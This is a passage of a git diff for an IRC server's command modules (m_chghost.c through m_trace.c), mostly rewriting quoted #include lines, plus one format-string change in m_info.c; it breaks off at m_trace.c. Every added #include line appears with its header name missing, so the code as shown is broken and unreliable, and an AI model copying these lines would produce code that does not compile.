@@ * USA */ -#include "stdinc.h" +#include #ifdef HAVE_LIBCRYPTO #include @@ -34,19 +34,19 @@ #include #endif -#include "client.h" -#include "ircd.h" -#include "modules.h" -#include "numeric.h" -#include "send.h" -#include "s_conf.h" -#include "msg.h" -#include "parse.h" -#include "match.h" -#include "logger.h" -#include "s_user.h" -#include "cache.h" -#include "s_newconf.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include #define CHALLENGE_WIDTH BUFSIZE - (NICKLEN + HOSTLEN + 12) #define CHALLENGE_EXPIRES 180 /* 180 seconds should be more than long enough */ diff --git a/modules/m_chghost.c b/modules/m_chghost.c index b6711f763..5b7dd6ad6 100644 --- a/modules/m_chghost.c +++ b/modules/m_chghost.c @@ -9,23 +9,23 @@ * m_chghost.c: A module for handling spoofing dynamically. */ -#include "stdinc.h" -#include "send.h" -#include "channel.h" -#include "client.h" -#include "defaults.h" -#include "ircd.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "s_serv.h" -#include "s_user.h" -#include "hash.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "whowas.h" -#include "monitor.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char chghost_desc[] = "Provides commands used to change and retrieve client hostnames"; diff --git a/modules/m_close.c b/modules/m_close.c index 4a70cd461..262b649e2 100644 --- a/modules/m_close.c +++ b/modules/m_close.c @@ -22,14 +22,14 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" +#include +#include +#include +#include +#include +#include +#include +#include static const char close_desc[] = "Provides the CLOSE command to clear all unfinished connections"; diff --git a/modules/m_connect.c b/modules/m_connect.c index 3f1db4ddf..c8ab36330 100644 --- a/modules/m_connect.c +++ b/modules/m_connect.c @@ -22,21 +22,21 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "match.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "logger.h" -#include "s_serv.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "hash.h" -#include "modules.h" -#include "sslproc.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char connect_desc[] = "Provides the CONNECT command to introduce servers to the network"; diff --git a/modules/m_dline.c b/modules/m_dline.c index 9a056d05a..f43623a18 100644 --- a/modules/m_dline.c +++ b/modules/m_dline.c @@ -22,25 +22,25 @@ * USA */ -#include "stdinc.h" -#include "channel.h" -#include "class.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "hostmask.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "logger.h" -#include "send.h" -#include "hash.h" -#include "s_serv.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "bandbi.h" -#include "operhash.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char dline_desc[] = "Provides the DLINE facility to ban users via IP address"; diff --git a/modules/m_encap.c b/modules/m_encap.c index f87ed6558..c3468d3b3 100644 --- a/modules/m_encap.c +++ b/modules/m_encap.c @@ -27,18 +27,18 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "send.h" -#include "channel.h" -#include "client.h" -#include "defaults.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" -#include "hash.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char encap_desc[] = "Provides the TS6 ENCAP facility"; diff --git a/modules/m_etrace.c b/modules/m_etrace.c index 064206ae5..a22466aed 100644 --- a/modules/m_etrace.c +++ b/modules/m_etrace.c @@ -30,24 +30,24 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "class.h" -#include "hook.h" -#include "client.h" -#include "hash.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "logger.h" -#include "supported.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char etrace_desc[] = "Provides enhanced tracing facilities to opers (ETRACE, CHANTRACE, and MASKTRACE)"; diff --git a/modules/m_grant.c b/modules/m_grant.c index 13ee6aa46..fe9e87e93 100644 --- a/modules/m_grant.c +++ b/modules/m_grant.c @@ -3,16 +3,16 @@ * Copyright (C) 2006 Stephen Bennett */ -#include "stdinc.h" -#include "modules.h" -#include "numeric.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "s_user.h" -#include "s_serv.h" -#include "s_conf.h" -#include "s_newconf.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char grant_desc[] = "Provides the grant facility for giving other users specific privilege sets"; diff --git a/modules/m_help.c b/modules/m_help.c index 251b20ca7..411ec2898 100644 --- a/modules/m_help.c +++ b/modules/m_help.c @@ -22,19 +22,18 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "msg.h" -#include "numeric.h" -#include "send.h" -#include "s_conf.h" -#include "logger.h" -#include "parse.h" -#include "modules.h" -#include "hash.h" -#include "cache.h" -#include "rb_dictionary.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char help_desc[] = "Provides the help facility for commands, modes, and server concepts"; diff --git a/modules/m_info.c b/modules/m_info.c index 81d69a969..1adb88182 100644 --- a/modules/m_info.c +++ b/modules/m_info.c @@ -22,21 +22,21 @@ * USA */ -#include "stdinc.h" -#include "m_info.h" -#include "channel.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "hook.h" -#include "numeric.h" -#include "s_serv.h" -#include "s_user.h" -#include "send.h" -#include "s_conf.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char info_desc[] = "Provides the INFO command for retrieving server copyright, credits, and other info"; @@ -748,9 +748,9 @@ static void send_birthdate_online_time(struct Client *source_p) { char tbuf[26]; /* this needs to be 26 - see ctime_r manpage */ - sendto_one(source_p, ":%s %d %s :Birth Date: %s, compile # %s", + sendto_one(source_p, ":%s %d %s :Birth Date: %s (%ld)", get_id(&me, source_p), RPL_INFO, - get_id(source_p, source_p), creation, generation); + get_id(source_p, source_p), creation, datecode); sendto_one(source_p, ":%s %d %s :On-line since %s", get_id(&me, source_p), RPL_INFO, diff --git a/modules/m_invite.c b/modules/m_invite.c index 0b365e3aa..5addcfd77 100644 --- a/modules/m_invite.c +++ b/modules/m_invite.c @@ -22,21 +22,21 @@ * USA */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "s_conf.h" -#include "s_serv.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "packet.h" -#include "tgchange.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char invite_desc[] = "Provides facilities for invite and related notifications"; diff --git a/modules/m_ison.c b/modules/m_ison.c index 152d7efac..7055712fa 100644 --- a/modules/m_ison.c +++ b/modules/m_ison.c @@ -22,18 +22,18 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_conf.h" /* ConfigFileEntry */ -#include "s_serv.h" /* uplink/IsCapable */ -#include "hash.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* ConfigFileEntry */ +#include /* uplink/IsCapable */ +#include #include diff --git a/modules/m_kline.c b/modules/m_kline.c index 7c55fc55d..0301236ac 100644 --- a/modules/m_kline.c +++ b/modules/m_kline.c @@ -22,26 +22,26 @@ * USA */ -#include "stdinc.h" -#include "channel.h" -#include "class.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "hostmask.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "logger.h" -#include "send.h" -#include "hash.h" -#include "s_serv.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "reject.h" -#include "bandbi.h" -#include "operhash.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char kline_desc[] = "Provides the KLINE facility to ban users via hostmask"; diff --git a/modules/m_knock.c b/modules/m_knock.c index 756a523ee..f2e86472c 100644 --- a/modules/m_knock.c +++ b/modules/m_knock.c @@ -21,20 +21,20 @@ * USA */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "s_conf.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_serv.h" -#include "supported.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char knock_desc[] = "Provides the KNOCK command to ask for an invite to an invite-only channel"; diff --git a/modules/m_links.c b/modules/m_links.c index 499dd674e..28722536a 100644 --- a/modules/m_links.c +++ b/modules/m_links.c @@ -22,20 +22,20 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" -#include "send.h" -#include "s_conf.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "hook.h" -#include "scache.h" -#include "s_assert.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char links_desc[] = "Provides the LINKS command to view servers linked to the host server"; diff --git a/modules/m_list.c b/modules/m_list.c index e8947cf8e..7726af212 100644 --- a/modules/m_list.c +++ b/modules/m_list.c @@ -31,25 +31,24 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "s_serv.h" -#include "supported.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "inline/stringops.h" -#include "s_assert.h" -#include "logger.h" -#include "rb_radixtree.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char list_desc[] = "Provides the LIST command to clients to view non-hidden channels"; diff --git a/modules/m_lusers.c b/modules/m_lusers.c index a58aefb67..555e981f1 100644 --- a/modules/m_lusers.c +++ b/modules/m_lusers.c @@ -22,17 +22,17 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" /* hunt_server */ -#include "s_user.h" /* show_lusers */ -#include "send.h" -#include "s_conf.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" +#include +#include +#include +#include +#include /* hunt_server */ +#include /* show_lusers */ +#include +#include +#include +#include +#include static const char lusers_desc[] = "Provides the LUSERS command to view the number of current and maximum lusers on a server"; diff --git a/modules/m_map.c b/modules/m_map.c index 6ba05e1fa..afdfe12a8 100644 --- a/modules/m_map.c +++ b/modules/m_map.c @@ -20,13 +20,13 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "modules.h" -#include "numeric.h" -#include "send.h" -#include "s_conf.h" -#include "scache.h" +#include +#include +#include +#include +#include +#include +#include #define USER_COL 50 /* display | Users: %d at col 50 */ diff --git a/modules/m_monitor.c b/modules/m_monitor.c index 4269ad567..1a96c02c3 100644 --- a/modules/m_monitor.c +++ b/modules/m_monitor.c @@ -28,16 +28,16 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "client.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "monitor.h" -#include "numeric.h" -#include "s_conf.h" -#include "send.h" -#include "supported.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char monitor_desc[] = "Provides the MONITOR facility for tracking user signon and signoff"; diff --git a/modules/m_motd.c b/modules/m_motd.c index feca390c2..55ddd30ee 100644 --- a/modules/m_motd.c +++ b/modules/m_motd.c @@ -22,19 +22,19 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "numeric.h" -#include "hook.h" -#include "msg.h" -#include "s_serv.h" /* hunt_server */ -#include "parse.h" -#include "modules.h" -#include "s_conf.h" -#include "cache.h" -#include "ratelimit.h" +#include +#include +#include +#include +#include +#include +#include +#include /* hunt_server */ +#include +#include +#include +#include +#include static const char motd_desc[] = "Provides the MOTD command to view the Message of the Day"; diff --git a/modules/m_names.c b/modules/m_names.c index 026dfd2d2..81c3a7c69 100644 --- a/modules/m_names.c +++ b/modules/m_names.c @@ -22,19 +22,19 @@ * USA */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "s_serv.h" -#include "s_conf.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char names_desc[] = "Provides the NAMES command to view users on a channel"; diff --git a/modules/m_oper.c b/modules/m_oper.c index 9afef1f8c..1fd782f04 100644 --- a/modules/m_oper.c +++ b/modules/m_oper.c @@ -22,21 +22,21 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "logger.h" -#include "s_user.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "packet.h" -#include "cache.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char oper_desc[] = "Provides the OPER command to become an IRC operator"; diff --git a/modules/m_operspy.c b/modules/m_operspy.c index 32a1a96d9..9fb5c7a55 100644 --- a/modules/m_operspy.c +++ b/modules/m_operspy.c @@ -27,19 +27,19 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "send.h" -#include "channel.h" -#include "client.h" -#include "defaults.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" -#include "hash.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "logger.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char operspy_desc[] = "Provides the operspy facility for viewing normally private data"; diff --git a/modules/m_pass.c b/modules/m_pass.c index 36398055e..f7362f67d 100644 --- a/modules/m_pass.c +++ b/modules/m_pass.c @@ -22,18 +22,18 @@ * USA */ -#include "stdinc.h" -#include "client.h" /* client struct */ -#include "match.h" -#include "send.h" /* sendto_one */ -#include "numeric.h" /* ERR_xxx */ -#include "ircd.h" /* me */ -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_serv.h" -#include "hash.h" -#include "s_conf.h" +#include +#include /* client struct */ +#include +#include /* sendto_one */ +#include /* ERR_xxx */ +#include /* me */ +#include +#include +#include +#include +#include +#include static const char pass_desc[] = "Provides the PASS command to authenticate clients and servers"; diff --git a/modules/m_ping.c b/modules/m_ping.c index 0c66656b0..d3caeb671 100644 --- a/modules/m_ping.c +++ b/modules/m_ping.c @@ -22,18 +22,18 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "match.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "hash.h" -#include "s_conf.h" -#include "s_serv.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char ping_desc[] = "Provides the PING command to ensure a client or server is still alive"; diff --git a/modules/m_pong.c b/modules/m_pong.c index 5d1721584..93d1e0815 100644 --- a/modules/m_pong.c +++ b/modules/m_pong.c @@ -22,21 +22,21 @@ * USA */ -#include "stdinc.h" -#include "ircd.h" -#include "s_user.h" -#include "client.h" -#include "hash.h" /* for find_client() */ -#include "hook.h" -#include "numeric.h" -#include "s_conf.h" -#include "send.h" -#include "channel.h" -#include "match.h" -#include "msg.h" -#include "parse.h" -#include "hash.h" -#include "modules.h" +#include +#include +#include +#include +#include /* for find_client() */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char pong_desc[] = "Provides the PONG command to respond to a PING message"; diff --git a/modules/m_post.c b/modules/m_post.c index 4d17e2089..eb12a7575 100644 --- a/modules/m_post.c +++ b/modules/m_post.c @@ -22,16 +22,16 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_conf.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char post_desc[] = "Ensure Web forms/proxies cannot connect by disconnecting on POST, GET, and PUT"; diff --git a/modules/m_privs.c b/modules/m_privs.c index c71327dce..b1203a555 100644 --- a/modules/m_privs.c +++ b/modules/m_privs.c @@ -29,15 +29,15 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "client.h" -#include "numeric.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_conf.h" -#include "s_newconf.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char privs_desc[] = "Provides the PRIVS command to inspect an operator's privileges"; diff --git a/modules/m_rehash.c b/modules/m_rehash.c index 084c0be13..375b971ec 100644 --- a/modules/m_rehash.c +++ b/modules/m_rehash.c @@ -22,26 +22,25 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "channel.h" -#include "match.h" -#include "ircd.h" -#include "s_serv.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "logger.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "hostmask.h" -#include "reject.h" -#include "hash.h" -#include "cache.h" -#include "rb_radixtree.h" -#include "sslproc.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char rehash_desc[] = "Provides the REHASH command to reload configuration and other files"; diff --git a/modules/m_restart.c b/modules/m_restart.c index 3910e299b..613ea9161 100644 --- a/modules/m_restart.c +++ b/modules/m_restart.c @@ -22,20 +22,20 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "restart.h" -#include "logger.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "hash.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char restart_desc[] = "Provides the RESTART command to restart the server"; diff --git a/modules/m_resv.c b/modules/m_resv.c index 84242b951..1d89f4b3e 100644 --- a/modules/m_resv.c +++ b/modules/m_resv.c @@ -21,22 +21,22 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "channel.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "hash.h" -#include "logger.h" -#include "bandbi.h" -#include "operhash.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char resv_desc[] = "Provides management of reserved nicknames and channels using (UN)RESV"; diff --git a/modules/m_sasl.c b/modules/m_sasl.c index ee2010179..689ce46be 100644 --- a/modules/m_sasl.c +++ b/modules/m_sasl.c @@ -27,20 +27,18 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" - -#include "client.h" -#include "hash.h" -#include "send.h" -#include "msg.h" -#include "modules.h" -#include "numeric.h" -#include "reject.h" -#include "s_serv.h" -#include "s_stats.h" -#include "string.h" -#include "s_newconf.h" -#include "s_conf.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char sasl_desc[] = "Provides SASL authentication support"; diff --git a/modules/m_scan.c b/modules/m_scan.c index 550717163..5770a75c6 100644 --- a/modules/m_scan.c +++ b/modules/m_scan.c @@ -29,24 +29,24 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "class.h" -#include "hook.h" -#include "client.h" -#include "hash.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "s_user.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "logger.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char scan_desc[] = "Provides the SCAN command to show users that have a mode set or cleared"; diff --git a/modules/m_services.c b/modules/m_services.c index b8a1f363f..bb7b8ecf8 100644 --- a/modules/m_services.c +++ b/modules/m_services.c @@ -27,24 +27,23 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" - -#include "send.h" -#include "channel.h" -#include "client.h" -#include "defaults.h" -#include "ircd.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "s_serv.h" -#include "hash.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "whowas.h" -#include "monitor.h" -#include "supported.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char services_desc[] = "Provides support for running a services daemon"; diff --git a/modules/m_set.c b/modules/m_set.c index 34bdea2e5..cc8946983 100644 --- a/modules/m_set.c +++ b/modules/m_set.c @@ -24,19 +24,19 @@ /* rewritten by jdc */ -#include "stdinc.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" -#include "send.h" -#include "channel.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char set_desc[] = "Provides the SET command to change server parameters"; diff --git a/modules/m_signon.c b/modules/m_signon.c index 6aeecc471..92998357f 100644 --- a/modules/m_signon.c +++ b/modules/m_signon.c @@ -27,26 +27,25 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" - -#include "send.h" -#include "channel.h" -#include "client.h" -#include "defaults.h" -#include "ircd.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_serv.h" -#include "hash.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "whowas.h" -#include "monitor.h" -#include "s_stats.h" -#include "snomask.h" -#include "match.h" -#include "s_user.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char signon_desc[] = "Provides account login/logout support for services"; diff --git a/modules/m_snote.c b/modules/m_snote.c index b79afbd94..be90a9313 100644 --- a/modules/m_snote.c +++ b/modules/m_snote.c @@ -29,23 +29,23 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "class.h" -#include "hook.h" -#include "client.h" -#include "hash.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "s_user.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char snote_desc[] = "Provides server notices via the SNOTE command"; diff --git a/modules/m_starttls.c b/modules/m_starttls.c index c5b98a077..8ae523942 100644 --- a/modules/m_starttls.c +++ b/modules/m_starttls.c @@ -18,19 +18,19 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "client.h" -#include "match.h" -#include "hash.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "msg.h" -#include "modules.h" -#include "sslproc.h" -#include "s_assert.h" -#include "s_serv.h" -#include "logger.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char starttls_desc[] = "Provides the tls CAP and STARTTLS command"; diff --git a/modules/m_stats.c b/modules/m_stats.c index 997019d70..e84e8b934 100644 --- a/modules/m_stats.c +++ b/modules/m_stats.c @@ -22,30 +22,29 @@ * USA */ -#include "stdinc.h" -#include "class.h" /* report_classes */ -#include "client.h" /* Client */ -#include "match.h" -#include "ircd.h" /* me */ -#include "listener.h" /* show_ports */ -#include "msg.h" /* Message */ -#include "hostmask.h" /* report_mtrie_conf_links */ -#include "numeric.h" /* ERR_xxx */ -#include "scache.h" /* list_scache */ -#include "send.h" /* sendto_one */ -#include "s_conf.h" /* ConfItem */ -#include "s_serv.h" /* hunt_server */ -#include "s_stats.h" -#include "s_user.h" /* show_opers */ -#include "parse.h" -#include "modules.h" -#include "hook.h" -#include "s_newconf.h" -#include "hash.h" -#include "reject.h" -#include "whowas.h" -#include "rb_radixtree.h" -#include "sslproc.h" +#include +#include /* report_classes */ +#include /* Client */ +#include +#include /* me */ +#include /* show_ports */ +#include /* Message */ +#include /* report_mtrie_conf_links */ +#include /* ERR_xxx */ +#include /* list_scache */ +#include /* sendto_one */ +#include /* ConfItem */ +#include /* hunt_server */ +#include +#include /* show_opers */ +#include +#include +#include +#include +#include +#include +#include +#include static const char stats_desc[] = "Provides the STATS command to inspect various server/network information"; diff --git a/modules/m_svinfo.c b/modules/m_svinfo.c index c6042fe11..ae33854d3 100644 --- a/modules/m_svinfo.c +++ b/modules/m_svinfo.c @@ -21,18 +21,18 @@ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ -#include "stdinc.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "logger.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char svinfo_desc[] = "Provides TS6 SVINFO command to ensure version and clock synchronisation"; diff --git a/modules/m_tb.c b/modules/m_tb.c index 4dce456ce..b8a0156df 100644 --- a/modules/m_tb.c +++ b/modules/m_tb.c @@ -28,18 +28,18 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "send.h" -#include "channel.h" -#include "client.h" -#include "defaults.h" -#include "ircd.h" -#include "match.h" -#include "s_conf.h" -#include "msg.h" -#include "modules.h" -#include "hash.h" -#include "s_serv.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char tb_desc[] = "Provides TS6 TB and ETB commands for topic bursting between servers"; diff --git a/modules/m_testline.c b/modules/m_testline.c index 22bf9b7a0..60b49c215 100644 --- a/modules/m_testline.c +++ b/modules/m_testline.c @@ -27,17 +27,17 @@ * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "send.h" -#include "client.h" -#include "modules.h" -#include "msg.h" -#include "hash.h" -#include "hostmask.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "reject.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char testline_desc[] = "Provides the ability to test I/K/D/X lines and RESVs"; diff --git a/modules/m_testmask.c b/modules/m_testmask.c index 46b431f87..1c61f6228 100644 --- a/modules/m_testmask.c +++ b/modules/m_testmask.c @@ -32,18 +32,18 @@ */ /* List of ircd includes from ../include/ */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "match.h" -#include "numeric.h" -#include "s_conf.h" -#include "logger.h" -#include "s_serv.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char testmask_desc[] = "Provides the TESTMASK command to show the number of clients matching a hostmask or GECOS"; diff --git a/modules/m_tginfo.c b/modules/m_tginfo.c index c30d65013..ce54f9f33 100644 --- a/modules/m_tginfo.c +++ b/modules/m_tginfo.c @@ -27,16 +27,16 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "client.h" -#include "match.h" -#include "hash.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "msg.h" -#include "modules.h" -#include "s_newconf.h" /* add_tgchange */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* add_tgchange */ static const char tginfo_desc[] = "Processes target change notifications from other servers"; diff --git a/modules/m_time.c b/modules/m_time.c index 4f4ae72a4..90468b6d3 100644 --- a/modules/m_time.c +++ b/modules/m_time.c @@ -22,17 +22,17 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_serv.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "packet.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char time_desc[] = "Provides the TIME command to show the current server time"; diff --git a/modules/m_topic.c b/modules/m_topic.c index a9b169a5e..6ab17c291 100644 --- a/modules/m_topic.c +++ b/modules/m_topic.c @@ -22,24 +22,24 @@ * USA */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "s_newconf.h" -#include "s_conf.h" -#include "s_serv.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "packet.h" -#include "tgchange.h" -#include "logger.h" -#include "inline/stringops.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char topic_desc[] = "Provides the TOPIC command to set, remove, and inspect channel topics"; diff --git a/modules/m_trace.c b/modules/m_trace.c index 38550667a..570231704 100644 --- a/modules/m_trace.c 